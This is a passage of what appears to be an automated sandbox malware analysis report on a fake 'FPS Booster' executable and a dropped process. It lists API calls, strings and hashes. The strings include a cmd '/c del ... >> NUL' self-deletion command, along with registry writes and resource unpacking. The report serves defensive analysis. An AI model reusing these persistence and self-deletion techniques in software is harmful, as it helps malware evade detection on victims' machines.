GetEnvironmentVariableA.KERNEL32(ComSpec,0040FC84,00000500,00000000,0040BC84,00001000,RtlDecompressBuffer,ntdll.dll,RegCloseKey,RegSetValueExA,RegCreateKeyExA,advapi32.dll,PathAddBackslashA,PathFindFileNameA,shlwapi.dll,SHGetSpecialFolderPathA), ref: 004012D3

Strings

RtlDecompressBuffer, xrefs: 0040129E
advapi32.dll, xrefs: 00401241
RegSetValueExA, xrefs: 00401265
shlwapi.dll, xrefs: 00401208
SHGetSpecialFolderPathA, xrefs: 004011F3
PathFindFileNameA, xrefs: 00401217
ComSpec, xrefs: 004012CE
ShellExecuteA, xrefs: 004011DE
ntdll.dll, xrefs: 0040128F
PathAddBackslashA, xrefs: 0040122C
Shell32.dll, xrefs: 004011CF
RegCreateKeyExA, xrefs: 00401250
RegCloseKey, xrefs: 0040127A

Memory Dump Source

Source File: 00000002.00000002.1351346498.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNFOT5F1qt.jbxd

Similarity

API ID: AddressProc$LibraryLoad$EnvironmentFileModuleNameVariable
String ID: ComSpec$PathAddBackslashA$PathFindFileNameA$RegCloseKey$RegCreateKeyExA$RegSetValueExA$RtlDecompressBuffer$SHGetSpecialFolderPathA$Shell32.dll$ShellExecuteA$advapi32.dll$ntdll.dll$shlwapi.dll
API String ID: 3647900824-1083084054
Opcode ID: ed63defba397cbb933b777222a0bacb8b6594ff129ae780b5b0ed5781ffeacf7
Instruction ID: a06bb1d97dbf063ac68fad512a01dcc274482fcad67705a1e8ff053d2cfa1aac
Opcode Fuzzy Hash: ed63defba397cbb933b777222a0bacb8b6594ff129ae780b5b0ed5781ffeacf7
Instruction Fuzzy Hash: AC11AA70A423046EE751BF32ED02BA93E75E790B45B20813BB440751F9E7FD19A19B1C

Function 00401AE1 Relevance: 6.0, APIs: 4, Instructions: 15
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineA.KERNEL32 ref: 00401AE1
GetModuleHandleA.KERNEL32(00000000), ref: 00401AED
GetProcessHeap.KERNEL32(00000000), ref: 00401AF7

Part of subcall function 00401000: LoadIconA.USER32(00403000,000001F4), ref: 0040104C
Part of subcall function 00401000: LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
Part of subcall function 00401000: RegisterClassExA.USER32(00000030), ref: 0040106E
Part of subcall function 00401000: CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
Part of subcall function 00401000: ShowWindow.USER32(00000001,?), ref: 004010BC
Part of subcall function 00401000: UpdateWindow.USER32(00000001), ref: 004010C7
Part of subcall function 00401000: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
Part of subcall function 00401000: TranslateMessage.USER32(?), ref: 004010E4
Part of subcall function 00401000: DispatchMessageA.USER32(?), ref: 004010ED

ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B18

Memory Dump Source

Source File: 00000002.00000002.1351346498.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNFOT5F1qt.jbxd

Similarity

API ID: MessageWindow$LoadProcess$ClassCommandCreateCursorDispatchExitHandleHeapIconLineModuleRegisterShowTranslateUpdate
String ID:
API String ID: 673778540-0
Opcode ID: cfbab243bfee9b5cb56ef1db76fa81e74447810506c232cb5a36ea3a31cdea14
Instruction ID: a064688063e39c940ae72a4b90be644b02f79907e5f24655d35d5466687fb791
Opcode Fuzzy Hash: cfbab243bfee9b5cb56ef1db76fa81e74447810506c232cb5a36ea3a31cdea14
Instruction Fuzzy Hash: FBD067749452006AE6217F71AE02B143E64E70074BF10407AB6057A1F5EB786A10670D

Function 004011AF Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B18

Memory Dump Source

Source File: 00000002.00000002.1351346498.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNFOT5F1qt.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: b282020c020ec24376e01dd257daea11e10f1f4ac2a3929f2a510d4130da15fc
Instruction ID: 363a1f89bed63b7dcc895a87b01cf0a5ad2b70b8edfb3c7b62b81fcb133e7216
Opcode Fuzzy Hash: b282020c020ec24376e01dd257daea11e10f1f4ac2a3929f2a510d4130da15fc
Instruction Fuzzy Hash: E7C09234268A84CAE219AB08C15AF1133B5BB40B45FA1846BB2152A8F293BCA810E44A

Function 0040119D Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B18

Memory Dump Source

Source File: 00000002.00000002.1351346498.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNFOT5F1qt.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 016bcc260c57d67281d0a185370db58a258a073e77d6077e442bffbde582f7fc
Instruction ID: e0a2e36e3d8c8f3e554d3af8483bffc66267ff5874ff8d07cdc79a1876b45754
Opcode Fuzzy Hash: 016bcc260c57d67281d0a185370db58a258a073e77d6077e442bffbde582f7fc
Instruction Fuzzy Hash: 62B092306599809AE21AA318801AF917AB26F40B45FDAC4A7F206298F253BCA944D10A

Function 00401907 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,00001001,0000000A), ref: 00401917
SizeofResource.KERNEL32(00000000,00000000), ref: 0040192D
ExitProcess.KERNEL32(00000000,00000000,0000000A,00000000), ref: 00401B18

Strings

hF, xrefs: 0040196A
hF, xrefs: 00401956

Memory Dump Source

Source File: 00000002.00000002.1351346498.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNFOT5F1qt.jbxd

Similarity

API ID: Resource$ExitFindProcessSizeof
String ID: hF$hF
API String ID: 1411291463-20560811
Opcode ID: b165bb457e95d8592b2aa645c08f3646812f0134a3116199941ac9cacd79966e
Instruction ID: d4e59189b2e6214e03afd5d0d5579af94f7f612efc73c1461bf72c218524a00d
Opcode Fuzzy Hash: b165bb457e95d8592b2aa645c08f3646812f0134a3116199941ac9cacd79966e
Instruction Fuzzy Hash: FD412BB1A54204EFFB00DF65ED81B693BB4EB54305F10407BF905BA2B1E7B46960DB19

Function 00401000 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 67
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconA.USER32(00403000,000001F4), ref: 0040104C
LoadCursorA.USER32(00000000,00007F00), ref: 0040105B
RegisterClassExA.USER32(00000030), ref: 0040106E
CreateWindowExA.USER32(00000000,WinClass32,WinClass32,00CF0000,?,?,?,?,00000000,00000000,00403000,00000000), ref: 004010AA
ShowWindow.USER32(00000001,?), ref: 004010BC
UpdateWindow.USER32(00000001), ref: 004010C7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004010D6
TranslateMessage.USER32(?), ref: 004010E4
DispatchMessageA.USER32(?), ref: 004010ED

Strings

0, xrefs: 00401006
WinClass32, xrefs: 0040103D, 0040109E, 004010A3

Memory Dump Source

Source File: 00000002.00000002.1351346498.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNFOT5F1qt.jbxd

Similarity

API ID: MessageWindow$Load$ClassCreateCursorDispatchIconRegisterShowTranslateUpdate
String ID: 0$WinClass32
API String ID: 282685165-2329282442
Opcode ID: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction ID: db64ee9f6a3c3da8bd2a7b60d0102d68ead382408d30bf1f106ff4c9428f50ce
Opcode Fuzzy Hash: 286dd39defc53bc53642eb2300d05e627e30782ba9ed8b70d4df91332c1cf868
Instruction Fuzzy Hash: F7213C70D44248AAEF11DFD0CD46BDDBFB8AB04708F20802AF600BA1E5D7B966459B5C

Function 004010FB Relevance: 4.5, APIs: 3, Instructions: 30
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageA.USER32(?,00009D99,00000000,00000000), ref: 00401128
DefWindowProcA.USER32(?,00000002,?,?), ref: 0040114E

Part of subcall function 0040135A: GetSystemDirectoryA.KERNEL32(C:\Windows\system32\,00001000), ref: 0040136B
Part of subcall function 0040135A: PathAddBackslashA.KERNELBASE(C:\Windows\system32\), ref: 00401375
Part of subcall function 0040135A: GetWindowsDirectoryA.KERNEL32(00404C84,00001000), ref: 00401385
Part of subcall function 0040135A: GetTempPathA.KERNEL32(00001000,00405C84), ref: 0040139F
Part of subcall function 0040135A: GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\,00000200), ref: 004013BB
Part of subcall function 0040135A: GetEnvironmentVariableA.KERNEL32(APPDATA,00407C84,00001000), ref: 004013DD
Part of subcall function 0040135A: FindResourceA.KERNEL32(00000000,00000001,0000000A), ref: 0040144C
Part of subcall function 0040135A: ExitProcess.KERNEL32(00000000,?,?,?,?,004106BC,00000000,00406C84,C0000000,00000003,00000000,00000002,00000080,00000000,00406C84,FPS Booster 2.0.7.exe), ref: 0040189E

Memory Dump Source

Source File: 00000002.00000002.1351346498.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNFOT5F1qt.jbxd

Similarity

API ID: DirectoryPath$BackslashEnvironmentExitFileFindMessageModuleNameProcProcessResourceSendSystemTempVariableWindowWindows
String ID:
API String ID: 1588881643-0
Opcode ID: f65326d40c1053b06fdae5316820f508df888febf5844a30f467ce6d3140b480
Instruction ID: dbb62d9085e5d6b3fbefb86f4113f67887605609739cbfea317797e2dab6c195
Opcode Fuzzy Hash: f65326d40c1053b06fdae5316820f508df888febf5844a30f467ce6d3140b480
Instruction Fuzzy Hash: 51F01C31244209B6DF296E629C07B5A3762AB08719F10C03BFB197C0F297BDD561AA5E

Non-executed Functions

Function 004012D9 Relevance: .0, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.1351346498.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNFOT5F1qt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9990774af4119fa70ef41400092c50f263bdf1d164bc37f887e3c0d7a250b32
Instruction ID: 0611be33569e033cf0bcc92f54b95211119f9e80a1ee943285cb6afbe40d6e6f
Opcode Fuzzy Hash: a9990774af4119fa70ef41400092c50f263bdf1d164bc37f887e3c0d7a250b32
Instruction Fuzzy Hash: 91C012B711004827CB08C549D8429D6B798E6B5265714411FF912EB291D97CE90185A4

Function 004018A8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 22
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyA.KERNEL32(0040DC84), ref: 004018AD
lstrcatA.KERNEL32(0040DC84,0040AC84,0040DC84), ref: 004018BC
lstrcatA.KERNEL32(0040DC84," ",0040DC84,0040AC84,0040DC84), ref: 004018CB
lstrcatA.KERNEL32(0040DC84,0040BC84,0040DC84," ",0040DC84,0040AC84,0040DC84), ref: 004018DA
lstrcatA.KERNEL32(0040DC84," >> NUL,0040DC84,0040BC84,0040DC84," ",0040DC84,0040AC84,0040DC84), ref: 004018E9

Strings

" ", xrefs: 004018C1
" >> NUL, xrefs: 004018DF

Memory Dump Source

Source File: 00000002.00000002.1351346498.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNFOT5F1qt.jbxd

Similarity

API ID: lstrcat$lstrcpy
String ID: " "$" >> NUL
API String ID: 2482611188-2884213582
Opcode ID: 8513afed51d29f5d4a89328734691a1c3423f533152e92d8ecba9f9dcbb9b028
Instruction ID: 98fcd78bc27786ddee7840aea87765605715515cd2fa121c906537a6fc253484
Opcode Fuzzy Hash: 8513afed51d29f5d4a89328734691a1c3423f533152e92d8ecba9f9dcbb9b028
Instruction Fuzzy Hash: CAE0A264BDD347B9F4A876E20E17F0825665B40F89F72417B7914341E66AFC7118802F

Function 00401157 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 17
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyA.KERNEL32(00410184,/c del ",0040188C,?,?,?,?,004106BC,00000000,00406C84,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 00401161
lstrcatA.KERNEL32(00410184,0040BC84,00410184,/c del ",0040188C,?,?,?,?,004106BC,00000000,00406C84,C0000000,00000003,00000000,00000002), ref: 00401170
lstrcatA.KERNEL32(00410184," >> NUL,00410184,0040BC84,00410184,/c del ",0040188C,?,?,?,?,004106BC,00000000,00406C84,C0000000,00000003), ref: 0040117F

Strings

" >> NUL, xrefs: 00401175
/c del ", xrefs: 00401157

Memory Dump Source

Source File: 00000002.00000002.1351346498.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNFOT5F1qt.jbxd

Similarity

API ID: lstrcat$lstrcpy
String ID: " >> NUL$/c del "
API String ID: 2482611188-2706327707
Opcode ID: cd28eb0aa4a3eae105e9b4c0d92c6737ded14966b8bac3c8ed0da2462ae44cb6
Instruction ID: 17b86c2f2bfb9d9544adc925f31abe5a394b04165ab65cbffe2899ad540e7a84
Opcode Fuzzy Hash: cd28eb0aa4a3eae105e9b4c0d92c6737ded14966b8bac3c8ed0da2462ae44cb6
Instruction Fuzzy Hash: 53D0C2747D534676E4747A910E17F8425645740F49F3101BB7514341E65EFE72C1401D

Analysis Process: savesbrokerDriverSavesbroker.exePID: 7188, Parent PID: 1460COMMON

Execution Graph

Execution Coverage:	13.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF887B26BD2 Relevance: 3.5, Strings: 2, Instructions: 984
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 00007FF887B277F6
2, xrefs: 00007FF887B26C85

Memory Dump Source

Source File: 00000005.00000002.1402585041.00007FF887B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff887b20000_savesbrokerDriverSavesbroker.jbxd

Similarity

API ID:
String ID: 2$2
API String ID: 0-3784399050
Opcode ID: 1f595bc47f431136cec88e4800207cc378688b1cba55455de8f7fd126760a026
Instruction ID: 110b82abec0daca0fc83e6f0c9a533a3553b8d1610c54f1e97b035446cb6541e
Opcode Fuzzy Hash: 1f595bc47f431136cec88e4800207cc378688b1cba55455de8f7fd126760a026
Instruction Fuzzy Hash: FF82D470D5962D8FDBA5EF18C895BE8B7B2FB59341F5041EAD00DE3291CA35AA81CF40

Function 00007FF887B27560 Relevance: 1.7, Strings: 1, Instructions: 468
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 00007FF887B277F6

Memory Dump Source

Source File: 00000005.00000002.1402585041.00007FF887B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff887b20000_savesbrokerDriverSavesbroker.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: e0335ba3df83b3c18263eca50d565be838894d8d636150c513e09e41b319b208
Instruction ID: 178d9e492807cbcb4c3470cbf87ef97bccac6957e9e19bb2402420d38e000384
Opcode Fuzzy Hash: e0335ba3df83b3c18263eca50d565be838894d8d636150c513e09e41b319b208
Instruction Fuzzy Hash: 2CF10574D19A2C8FDBA4EB58C895BEDB7B1FB59340F5001AAD00DE3291CB35AA81CF41

Function 00007FF887B26BE5 Relevance: 1.7, Strings: 1, Instructions: 455
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 00007FF887B277F6

Memory Dump Source

Source File: 00000005.00000002.1402585041.00007FF887B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff887b20000_savesbrokerDriverSavesbroker.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: 4e03bb3ed2c8df34e8aa46be6455669e6b8d2c546e673080e549ed276c7a95fd
Instruction ID: d54175b0b6cef0afe94de7dc1604fc4ee4c85fc6d31ce01caeac62cc34deff06
Opcode Fuzzy Hash: 4e03bb3ed2c8df34e8aa46be6455669e6b8d2c546e673080e549ed276c7a95fd
Instruction Fuzzy Hash: 82F10574D1962D8FDBA4EB58C894BEDB7B1FB59340F5001AAD00DE3291CB39AA81CF41

Function 00007FF887B2109D Relevance: 1.5, Strings: 1, Instructions: 284
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0DL, xrefs: 00007FF887B21278

Memory Dump Source

Source File: 00000005.00000002.1402585041.00007FF887B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff887b20000_savesbrokerDriverSavesbroker.jbxd

Similarity

API ID:
String ID: 0DL
API String ID: 0-3174716889
Opcode ID: 513642393894ecc095a37b3dae694326bb073077fe85e72f46e41a586bec5c62
Instruction ID: 0bab9f4d2babef90ec2935609f0c105a6861bc30eb14ed5bb0fd1bc839d8de12
Opcode Fuzzy Hash: 513642393894ecc095a37b3dae694326bb073077fe85e72f46e41a586bec5c62
Instruction Fuzzy Hash: 62917D71D5991D9FEB94EA28D8956ECB7B2FF59340F8001B9D00DD7282DE39A981CB40

Function 00007FF887B2678F Relevance: 1.9, APIs: 1, Instructions: 357
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.1402585041.00007FF887B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff887b20000_savesbrokerDriverSavesbroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0529c65e1f38b7e2009d77817db49a3c494cc8b0d7931db67233525916cb537e
Instruction ID: b1e6f4ffeae3d1fed22c703b9f085dd06ff8d93f8d72acd918f3f446a8206b53
Opcode Fuzzy Hash: 0529c65e1f38b7e2009d77817db49a3c494cc8b0d7931db67233525916cb537e
Instruction Fuzzy Hash: 9FC15D30918A8D8FEB68DF58D895BE937E1FB59351F00413ED80ECB291DB74A985CB81

Function 00007FF887B27EC5 Relevance: 1.8, APIs: 1, Instructions: 323
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

QueryFullProcessImageNameA.KERNELBASE ref: 00007FF887B28172

Memory Dump Source

Source File: 00000005.00000002.1402585041.00007FF887B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff887b20000_savesbrokerDriverSavesbroker.jbxd

Similarity

API ID: FullImageNameProcessQuery
String ID:
API String ID: 3578328331-0
Opcode ID: 2ccc17cc5717f39c6951c7cb20d9d003f378ddbfb656eaf68c21df0f9ba41c43
Instruction ID: f25c59d40309ac03561141c195881ec051a03336d9a3f344a6eb049494ae59c9
Opcode Fuzzy Hash: 2ccc17cc5717f39c6951c7cb20d9d003f378ddbfb656eaf68c21df0f9ba41c43
Instruction Fuzzy Hash: 02B13B30518A8D8FEB78DF58C895BE93BE1FB59341F10412ED84ECB291DB74A985CB81

Analysis Process: FPS Booster 2.0.7.exePID: 7236, Parent PID: 1460COMMON

Execution Graph

Execution Coverage:	16%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	12.3%
Total number of Nodes:	1932
Total number of Limit Nodes:	48

Executed Functions

Function 004038AF Relevance: 52.8, APIs: 22, Strings: 8, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038CE
SetErrorMode.KERNELBASE(00008001), ref: 004038D9
OleInitialize.OLE32(00000000), ref: 004038E0

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

SHGetFileInfoW.SHELL32(0040A264,00000000,?,000002B4,00000000), ref: 00403908

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetCommandLineW.KERNEL32(00476AA0,NSIS Error), ref: 0040391D
GetModuleHandleW.KERNEL32(00000000,004CF0A0,00000000), ref: 00403930
CharNextW.USER32(00000000,004CF0A0,00000020), ref: 00403957
GetTempPathW.KERNEL32(00002004,004E30C8,00000000,00000020), ref: 00403A2C
GetWindowsDirectoryW.KERNEL32(004E30C8,00001FFF), ref: 00403A41
lstrcatW.KERNEL32(004E30C8,\Temp), ref: 00403A4D
DeleteFileW.KERNELBASE(004DF0C0), ref: 00403A64
OleUninitialize.OLE32(?), ref: 00403AFD
ExitProcess.KERNEL32 ref: 00403B1D
lstrcatW.KERNEL32(004E30C8,~nsu.tmp), ref: 00403B29
lstrcmpiW.KERNEL32(004E30C8,004DB0B8,004E30C8,~nsu.tmp), ref: 00403B35
CreateDirectoryW.KERNEL32(004E30C8,00000000), ref: 00403B41
SetCurrentDirectoryW.KERNEL32(004E30C8), ref: 00403B48
DeleteFileW.KERNEL32(0043DD40,0043DD40,?,00483008,0040A204,0047F000,?), ref: 00403B99
CopyFileW.KERNEL32(004EB0D8,0043DD40,00000001), ref: 00403BAD
CloseHandle.KERNEL32(00000000,0043DD40,0043DD40,?,0043DD40,00000000), ref: 00403BDA
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C30
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C6C

Strings

_?=, xrefs: 00403A90
~nsu.tmp, xrefs: 00403B23
Error launching installer, xrefs: 00403AA9
SeShutdownPrivilege, xrefs: 00403C42
\Temp, xrefs: 00403A47
NCRC, xrefs: 004039A8
NSIS Error, xrefs: 0040390E
/D=, xrefs: 004039D2

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2435955865-3712954417
Opcode ID: ac3f82c8583c87bde93f90980a1070f9faa323d75b06bd3b84399b38fb4e9a16
Instruction ID: 6e3717b9be2730fff72f59090edb21b77de3e5055cb75e9aafb2752c1f1d7b94
Opcode Fuzzy Hash: ac3f82c8583c87bde93f90980a1070f9faa323d75b06bd3b84399b38fb4e9a16
Instruction Fuzzy Hash: 1DA1E6715443117AD720BF629C4AE1B7EACAB0470AF10443FF545B62D2D7BD8A448BAE

Function 00406CC7 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 190
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,004CF0A0), ref: 00406CE4
lstrcatW.KERNEL32(00467470,\*.*,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D35
lstrcatW.KERNEL32(?,00409838,?,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D55
lstrlenW.KERNEL32(?), ref: 00406D58
FindFirstFileW.KERNEL32(00467470,?), ref: 00406D6C
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E4E
FindClose.KERNEL32(?), ref: 00406E5F

Strings

RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406EBF
Delete: DeleteFile("%s"), xrefs: 00406DE8
Delete: DeleteFile failed("%s"), xrefs: 00406E29
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EDC
RMDir: RemoveDirectory("%s"), xrefs: 00406E9B
ptF, xrefs: 00406D1A
Delete: DeleteFile on Reboot("%s"), xrefs: 00406E0C
\*.*, xrefs: 00406D2F
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E84

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000040C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000420000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.0000000000424000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000042C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601321122.000000000046B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601570608.00000000005C4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_FPS Booster 2.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*$ptF
API String ID: 2035342205-1650287579
Opcode ID: f7a733ba7b7dda8f767778852903590a58a16c07b963c85795d8b3373a8eb2b2
Instruction ID: e61cf0fe73e9c947a39cb72df690d6d83a08ee9d5dae9ef8ba60e8d8024aa79e
Opcode Fuzzy Hash: f7a733ba7b7dda8f767778852903590a58a16c07b963c85795d8b3373a8eb2b2
Instruction Fuzzy Hash: 3E51D225604305AADB11AB71CC49A7F37B89F41728F22803FF803761D2DB7C49A1D6AE

Function 00406831 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 212
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426D70,76F923A0,00000000), ref: 00406902
GetSystemDirectoryW.KERNEL32(Show,00002004), ref: 00406984

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetWindowsDirectoryW.KERNEL32(Show,00002004), ref: 00406997
lstrcatW.KERNEL32(Show,\Microsoft\Internet Explorer\Quick Launch), ref: 00406A11
lstrlenW.KERNEL32(Show,00445D80,?,00000000,00404FD5,00445D80,00000000,00426D70,76F923A0,00000000), ref: 00406A73

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406952
Show, xrefs: 00406858, 00406944, 0040694A, 0040696E, 00406983, 00406996, 004069B2, 004069DD, 00406A10, 00406A2F, 00406A44, 00406A45, 00406A53, 00406A6C, 00406A72, 00406A7F, 00406AB8
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406A0B

Memory Dump Source

Source File: 00000007.00000002.2601246566.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2601211971.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2601284399.0000000000409000.00000002.00000001.01000000.00000009.sdmpDownload File
